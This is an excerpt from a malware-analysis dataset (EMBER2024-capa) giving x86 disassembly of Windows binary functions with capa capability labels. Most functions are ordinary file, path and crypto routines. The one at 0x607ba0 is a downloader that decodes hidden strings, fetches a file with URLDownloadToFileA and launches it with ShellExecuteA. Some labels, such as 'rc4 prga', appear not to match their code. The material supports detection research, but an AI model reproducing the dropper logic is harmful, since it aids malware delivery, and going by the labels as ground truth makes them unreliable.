joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6064a0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x14
push ebp
mov ebp, dword [esp + 0x1c]
push esi
xor esi, esi
cmp dword [0x8e13d0], esi
mov dword [esp + 8], esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 0x24
mov dword [esp + 0x14], 0x26
mov dword [esp + 0x18], 0x2a
jne 0x606536
push 3
push 0x20
push 3
push 1
push 3
push 2
push esi
push esi
call sub.ntdll.dll_VerSetConditionMask
push edx
push eax
call sub.ntdll.dll_VerSetConditionMask
push edx
push eax
call sub.ntdll.dll_VerSetConditionMask
push edx
push eax
push 0x23
push 0x8e13d0
mov dword [0x8e13d0], 0x11c
mov dword [0x8e13d4], 6
mov dword [0x8e13d8], 1
mov word [0x8e14e4], si
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
neg eax
sbb eax, eax
add eax, 1
mov dword [0x6fc314], eax
jmp 0x60653b
mov eax, dword [0x6fc314]
cmp eax, esi
je 0x60654a
pop esi
mov eax, 1
pop ebp
add esp, 0x14
ret
cmp ebp, esi
je 0x60666a
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push edi
push esi
push esi
push esi
push ebp
call ebx
mov edi, eax
test edi, edi
je 0x606668
lea eax, [edi + edi]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
test eax, eax
mov dword [esp + 0x10], eax
je 0x606668
push 0
mov ecx, eax
push ecx
push edi
push ebp
call ebx
cmp edi, eax
jbe 0x606668
mov ebp, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor ebx, ebx
jmp 0x6065a0
mov eax, dword [esp + ebx*4 + 0x18]
cmp eax, 0x26
jne 0x60661f
push 0
push 0
push str._ProgramW6432_
call ebp
mov edi, eax
test edi, edi
je 0x606668
lea edx, [edi + edi + 2]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x606668
push edi
push esi
push str._ProgramW6432_
call ebp
cmp edi, eax
jne 0x606668
push esi
push str._ProgramW6432_
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x606606
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x69bd38
push 0x26
jmp 0x606625
cmp word [esi + edi*2 - 4], 0x5c
je 0x606633
push 0x6be0f8
add edi, 1
push edi
push esi
call fcn.006062f0
jmp 0x606633
push 0x69bd38
push eax
call fcn.00606390
mov esi, eax
add esp, 8
test esi, esi
je 0x606668
push esi
call fcn.00602892
push eax
mov eax, dword [esp + 0x18]
push esi
push eax
call fcn.00608d19
add esp, 0x10
neg eax
sbb eax, eax
inc eax
mov dword [esp + 0x14], eax
jne 0x606668
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
add ebx, 1
xor esi, esi
cmp ebx, 3
jl 0x6065a0
pop edi
pop ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
call esi
mov ecx, dword [esp + 8]
push ecx
call esi
mov eax, dword [esp + 0xc]
pop esi
pop ebp
add esp, 0x14
ret

Function at 0x606a10
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push eax
mov eax, dword [esp + 0xc]
call fcn.006068a0
mov esi, eax
add esp, 4
test esi, esi
je 0x606a52
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x606a34
test al, 0x50
je 0x606a52
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x606a47
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
pop esi
ret
mov eax, esi
pop esi
ret
Function at 0x607ba0
Capabilities:
Copy file
Create process on windows
Download url
Get file attributes
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x618c48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x70
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add eax, 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1b7740
call esi
mov eax, 0x6bea84
sub eax, 0x1a457640
push eax
lea ecx, [ebp - 0x43]
call fcn.00607a20
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0x1f4
call esi
mov ecx, 0x6beaa8
sub ecx, 0x1a457640
push ecx
lea ecx, [ebp - 0x43]
call fcn.00607a20
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
push 0x1f4
call esi
mov edx, 0x6beacc
sub edx, 0x1a457640
push edx
lea ecx, [ebp - 0x43]
call fcn.00607a20
xor ebx, ebx
mov edi, 0xf
mov ecx, eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x68], ebx
mov byte [ebp - 0x78], bl
lea esi, [ecx + 1]
nop
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x607c50
sub ecx, esi
push ecx
push eax
lea ecx, [ebp - 0x7c]
call fcn.00407140
push 0x6edc32de
lea ecx, [ebp - 0x22]
call fcn.00607a70
mov esi, eax
mov ecx, esi
mov byte [ebp - 4], 3
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x5c], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x607c84
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x60]
call fcn.00407140
mov ecx, dword [ebp - 0x5c]
mov edi, 0x10
cmp dword [ebp - 0x48], edi
jae 0x607ca7
lea ecx, [ebp - 0x5c]
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x64], edi
jae 0x607cb2
lea eax, [ebp - 0x78]
push ebx
push ebx
push ecx
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
push 0x56524103
lea ecx, [ebp - 0x35]
call fcn.00607ac0
push 0x6edc3306
lea ecx, [ebp - 0x22]
mov esi, eax
call fcn.00607a70
push 1
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x5652412b
lea ecx, [ebp - 0x35]
call fcn.00607ac0
mov esi, eax
mov edx, 0xd5
xor ecx, ecx
jmp 0x607d00
mov al, byte [ecx + 0x6beb40]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ebp + ecx - 0x11], al
jns 0x607d1d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 4
jl 0x607d00
push ebx
push ebx
push ebx
push esi
lea ecx, [ebp - 0x11]
push ecx
push ebx
mov byte [ebp - 0xd], bl
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x6edc3336
lea ecx, [ebp - 0x22]
call fcn.00607a70
push eax
call fcn.005e1aa7
add esp, 4
cmp dword [ebp - 0x48], edi
jb 0x607d5c
mov edx, dword [ebp - 0x5c]
push edx
call fcn.005bd360
add esp, 4
cmp dword [ebp - 0x64], edi
pop edi
pop esi
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x5c], bl
mov dword [ebp - 0x48], 0xf
pop ebx
jb 0x607d7d
mov eax, dword [ebp - 0x78]
push eax
call fcn.005bd360
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x408b80
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4258ff
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x431024]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebx], eax
mov dword [ebp - 4], eax
mov dword [ebx + 4], eax
mov dword [ebx + 8], ecx
lea esi, [ebx + 0x10]
mov dword [ebx + 0xc], edx
mov ecx, 8
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], ecx
mov dword [esi], vtable.CRecordVector_unsigned_long_long_unsigned___int64__.0
mov dword [ebx + 0x28], eax
mov dword [ebx + 0x2c], eax
mov dword [ebx + 0x30], eax
mov dword [ebx + 0x34], ecx
mov dword [ebx + 0x24], vtable.CRecordVector_unsigned_long_long_unsigned___int64__.0
mov ecx, 4
mov dword [ebx + 0x3c], eax
mov dword [ebx + 0x40], eax
mov dword [ebx + 0x44], eax
mov dword [ebx + 0x48], ecx
mov dword [ebx + 0x38], vtable.CRecordVector_unsigned_long_long_unsigned___int64__const__.0
mov dword [ebx + 0x50], eax
mov dword [ebx + 0x54], eax
mov dword [ebx + 0x58], eax
mov dword [ebx + 0x5c], ecx
mov dword [ebx + 0x4c], vtable.CRecordVector_unsigned_long_long_unsigned___int64__const__.0
mov byte [ebp - 4], 5
mov edi, dword [ebx + 8]
call fcn.0040c340
mov edi, dword [ebx + 8]
lea esi, [ebx + 0x38]
call fcn.0040c340
mov edi, dword [ebx + 0xc]
lea esi, [ebx + 0x24]
call fcn.0040c340
mov edi, dword [ebx + 0xc]
lea esi, [ebx + 0x4c]
call fcn.0040c340
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40d2d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425e00
mov eax, dword fs:[0]
push eax
sub esp, 0x34
push ebx
push esi
push edi
mov eax, dword [0x431024]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
xor edx, edx
mov dword [eax + 4], edx
mov eax, dword [eax]
xor ecx, ecx
mov word [eax], cx
mov ecx, dword [ebp + 8]
movzx eax, word [ecx]
xor edi, edi
cmp ax, dx
je 0x40d31b
inc edi
cmp word [ecx + edi*2], dx
jne 0x40d314
cmp edi, 1
movzx eax, ax
mov dword [ebp - 0x10], eax
jl 0x40d462
cmp ax, 0x5c
je 0x40d462
cmp ax, 0x2e
jne 0x40d352
cmp edi, 1
je 0x40d462
cmp edi, 2
jne 0x40d352
cmp word [ecx + 2], ax
je 0x40d462
mov ebx, 4
lea esi, [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edx
call fcn.00403070
cmp edi, 3
mov edi, dword [ebp + 8]
mov dword [ebp - 4], 0
jle 0x40d39d
cmp word [edi + 2], 0x3a
jne 0x40d39d
cmp word [edi + 4], 0x5c
jne 0x40d39d
mov eax, dword [ebp - 0x10]
cmp ax, 0x61
jb 0x40d394
cmp ax, 0x7a
jbe 0x40d3ff
add eax, 0xffffffbf
cmp ax, 0x19
jbe 0x40d3ff
mov eax, dword [ebp - 0x14]
cmp eax, 0x105
jg 0x40d3bb
cmp eax, 0x106
je 0x40d3bb
mov ebx, 0x106
lea esi, [ebp - 0x1c]
call fcn.00403070
mov edx, dword [ebp - 0x1c]
push edx
push 0x105
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea esi, [ebp - 0x1c]
mov ebx, eax
call fcn.0040d880
test ebx, ebx
je 0x40d478
cmp ebx, 0x104
ja 0x40d478
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
cmp word [ecx + eax*2 - 2], 0x5c
je 0x40d3ff
push 0x5c
mov eax, esi
call fcn.0040bd00
push str.__
lea eax, [ebp - 0x40]
call fcn.00402c50
lea ecx, [ebp - 0x1c]
push ecx
push eax
lea edx, [ebp - 0x34]
push edx
mov byte [ebp - 4], 1
call fcn.0040d8b0
push edi
push eax
lea eax, [ebp - 0x28]
push eax
mov byte [ebp - 4], 2
call fcn.0040d950
mov edi, eax
mov eax, dword [ebp + 0xc]
mov byte [ebp - 4], 3
call fcn.0040bcb0
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.0040c4b0
mov edx, dword [ebp - 0x34]
push edx
call fcn.0040c4b0
mov eax, dword [ebp - 0x40]
push eax
call fcn.0040c4b0
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.0040c4b0
add esp, 0x10
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edx, dword [ebp - 0x1c]
push edx
call fcn.0040c4b0
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x40d5d0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ecx]
push esi
lea eax, [ebp - 4]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40d5fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40d5fa
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push 1
push 0
push 0
push eax
call fcn.004229d0
xor ecx, ecx
add eax, esi
adc edx, ecx
mov dword [edi], eax
mov dword [edi + 4], edx
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40ddd0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push esi
mov esi, eax
mov eax, dword [esi]
mov dword [esi + 4], 0
xor ecx, ecx
mov word [eax], cx
mov eax, dword [edx]
push edi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov edi, eax
test edi, edi
jne 0x40de08
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
pop ebp
ret 4
mov eax, dword [esi + 8]
cmp edi, eax
jl 0x40de1d
push ebx
lea ebx, [edi + 1]
cmp ebx, eax
je 0x40de1c
call fcn.00403070
pop ebx
mov eax, dword [esi]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
inc edi
push edi
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edi, dword [esi]
xor ecx, ecx
cmp word [edi], cx
je 0x40de4a
mov edx, edi
lea esp, [esp]
add edx, 2
inc ecx
cmp word [edx], 0
jne 0x40de40
xor edx, edx
mov word [edi + ecx*2], dx
mov dword [esi + 4], ecx
test eax, eax
jne 0x40de69
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
pop ebp
ret 4
pop edi
mov al, 1
pop esi
pop ebp
ret 4

Function at 0x412240
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
lea ebx, [eax + 0x1c]
shr eax, 2
mov esi, eax
shr esi, 1
add esi, 3
mov dword [ecx], esi
add ecx, 0x10
xor esi, esi
push edi
mov dword [ebp - 8], ebx
mov dword [ebp + 8], eax
test eax, eax
jbe 0x41227d
lea ebx, [ebx]
mov edi, dword [edx]
mov dword [ecx + esi*4], edi
inc esi
add edx, 4
cmp esi, eax
jb 0x412270
cmp esi, ebx
jae 0x41236b
mov edx, esi
sub edx, eax
lea eax, [ecx + edx*4]
mov dword [ebp - 4], eax
nop
xor edx, edx
mov eax, esi
div dword [ebp + 8]
mov edi, dword [ecx + esi*4 - 4]
test edx, edx
jne 0x4122f9
movzx eax, byte [eax + 0x4322cc]
mov edx, edi
and edx, 0xff
movzx edx, byte [edx + str.cw]
mov ebx, edi
shr ebx, 0x18
movzx ebx, byte [ebx + str.cw]
shl edx, 8
or edx, ebx
mov ebx, edi
shr ebx, 0x10
shr edi, 8
and ebx, 0xff
movzx ebx, byte [ebx + str.cw]
and edi, 0xff
movzx edi, byte [edi + str.cw]
shl edx, 8
or edx, ebx
mov ebx, dword [ebp - 8]
shl edx, 8
xor edi, eax
or edi, edx
jmp 0x412352
cmp dword [ebp + 8], 6
jbe 0x412352
cmp edx, 4
jne 0x412352
mov edx, edi
shr edx, 0x10
and edx, 0xff
movzx eax, byte [edx + str.cw]
mov edx, edi
shr edx, 0x18
movzx edx, byte [edx + str.cw]
shl edx, 8
or eax, edx
mov edx, edi
shr edx, 8
and edx, 0xff
movzx edx, byte [edx + str.cw]
shl eax, 8
and edi, 0xff
or eax, edx
movzx edx, byte [edi + str.cw]
shl eax, 8
or eax, edx
mov edi, eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
xor edx, edi
mov dword [ecx + esi*4], edx
inc esi
add eax, 4
mov dword [ebp - 4], eax
cmp esi, ebx
jb 0x412290
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x413010
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 0x10]
push esi
mov esi, dword [ecx]
and esi, 7
mov dword [ebp - 4], 0
cmp eax, 5
jae 0x413034
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 8]
add dword [ebp + 0xc], 5
lea edx, [edx + eax - 4]
push ebx
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], edx
push edi
jmp 0x413050
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 8]
lea edi, [ecx + eax]
cmp edi, edx
jae 0x41306f
lea ecx, [ecx]
mov cl, byte [edi]
and cl, 0xfe
cmp cl, 0xe8
je 0x41306f
inc edi
cmp edi, edx
jb 0x413060
mov ebx, edi
sub ebx, eax
mov eax, ebx
sub eax, dword [ebp - 8]
mov dword [ebp - 4], ebx
cmp edi, edx
jae 0x413176
cmp eax, 3
jbe 0x4130a6
xor esi, esi
mov al, byte [edi + 4]
mov dword [ebp - 8], ebx
test al, al
je 0x4130e3
cmp al, 0xff
je 0x4130e3
and esi, 3
add esi, esi
or esi, 1
inc ebx
mov dword [ebp - 4], ebx
jmp 0x413050
lea ecx, [eax - 1]
shl esi, cl
and esi, 7
je 0x41308a
movzx eax, byte [esi + 0x42a430]
mov ecx, edi
sub ecx, eax
cmp byte [esi + 0x42a428], 0
mov al, byte [ecx + 4]
je 0x4130cf
test al, al
je 0x4130cf
cmp al, 0xff
jne 0x41308a
and esi, 3
add esi, esi
mov dword [ebp - 8], ebx
or esi, 1
inc ebx
mov dword [ebp - 4], ebx
jmp 0x413050
movzx ecx, byte [edi + 2]
movzx edx, al
movzx eax, byte [edi + 3]
shl edx, 8
or edx, eax
movzx eax, byte [edi + 1]
shl edx, 8
or edx, ecx
shl edx, 8
or edx, eax
sub edx, ebx
sub edx, dword [ebp + 0xc]
mov eax, edx
test esi, esi
je 0x413146
movzx edx, byte [esi + 0x42a430]
add edx, edx
add edx, edx
add edx, edx
mov ecx, 0x18
sub ecx, edx
mov ebx, eax
shr ebx, cl
test bl, bl
je 0x41312d
cmp bl, 0xff
jne 0x413143
mov ebx, dword [ebp - 4]
mov ecx, 0x20
sub ecx, edx
mov edx, 1
shl edx, cl
dec edx
xor edx, eax
jmp 0x413101
mov ebx, dword [ebp - 4]
mov ecx, eax
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [edi + 4], cl
mov edx, eax
shr edx, 0x10
mov ecx, eax
shr ecx, 8
add ebx, 5
mov byte [edi + 3], dl
mov edx, dword [ebp - 0xc]
mov byte [edi + 2], cl
mov byte [edi + 1], al
mov dword [ebp - 4], ebx
jmp 0x413050
cmp eax, 3
jbe 0x41318d
mov edx, dword [ebp + 0x10]
pop edi
xor esi, esi
mov eax, ebx
pop ebx
mov dword [edx], esi
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
lea ecx, [eax - 1]
shl esi, cl
pop edi
mov eax, ebx
pop ebx
and esi, 7
mov dword [edx], esi
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4151f0
Capabilities:
Hash data using sha256

Disassembly:
xor ecx, ecx
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
mov dword [eax + 0x20], ecx
mov dword [eax + 0x24], ecx
ret

Function at 0x415780
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push ecx
push edx
push 0
push 0
call fcn.0041dec0
mov ecx, dword [ebp + 8]
add esp, 0x18
push eax
mov dword [ecx], eax
call fcn.00415730
mov esp, ebp
pop ebp
ret 4
Function at 0x4169d0
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, eax
mov eax, dword [esi + 8]
cmp eax, 0x105
push edi
jg 0x4169f1
cmp eax, 0x106
je 0x4169f1
push ebx
mov ebx, 0x106
call fcn.00403070
pop ebx
mov eax, dword [esi]
push 0x105
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [esi]
xor ecx, ecx
cmp word [edi], cx
je 0x416a1a
mov edx, edi
lea ebx, [ebx]
add edx, 2
inc ecx
cmp word [edx], 0
jne 0x416a10
xor edx, edx
mov word [edi + ecx*2], dx
mov dword [esi + 4], ecx
dec eax
mov ecx, 0x103
cmp ecx, eax
sbb eax, eax
pop edi
inc eax
pop esi
ret

Function at 0x416b20
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x426c58
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
mov eax, dword [0x431024]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x416b6b
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
xor eax, eax
lea ebx, [eax + 4]
lea esi, [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
call fcn.00403070
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
call fcn.0040d4a0
test al, al
je 0x416bc2
mov esi, dword [ebp - 0x18]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
mov ebx, eax
call fcn.0040c4b0
add esp, 4
test ebx, ebx
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040c4b0
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x416bf0
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425c18
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x431024]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push eax
call edi
test eax, eax
je 0x416c3e
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
xor eax, eax
lea ebx, [eax + 4]
lea esi, [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
call fcn.00403070
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
call fcn.0040d4a0
test al, al
je 0x416c91
mov esi, dword [ebp - 0x18]
push esi
call edi
push esi
mov ebx, eax
call fcn.0040c4b0
add esp, 4
test ebx, ebx
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040c4b0
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x416cc0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425c18
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x431024]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor esi, esi
push esi
push eax
call edi
test eax, eax
je 0x416d11
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x416d7f
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
mov ebx, 4
lea esi, [ebp - 0x18]
call fcn.00403070
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
call fcn.0040d4a0
test al, al
je 0x416d73
mov esi, dword [ebp - 0x18]
push 0
push esi
call edi
push esi
mov ebx, eax
call fcn.0040c4b0
add esp, 4
test ebx, ebx
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040c4b0
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x417130
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425c18
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x431024]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
push esi
xor edi, edi
call fcn.00416b20
test al, al
je 0x4171ed
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push esi
call edi
test eax, eax
je 0x41718e
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
xor eax, eax
lea ebx, [eax + 4]
lea esi, [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
call fcn.00403070
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
call fcn.0040d4a0
test al, al
je 0x4171e1
mov esi, dword [ebp - 0x18]
push esi
call edi
push esi
mov ebx, eax
call fcn.0040c4b0
add esp, 4
test ebx, ebx
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 0x18]
push eax
call fcn.0040c4b0
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4